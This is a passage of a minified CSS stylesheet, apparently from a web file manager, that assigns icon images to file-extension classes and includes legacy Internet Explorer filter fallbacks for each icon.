\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none 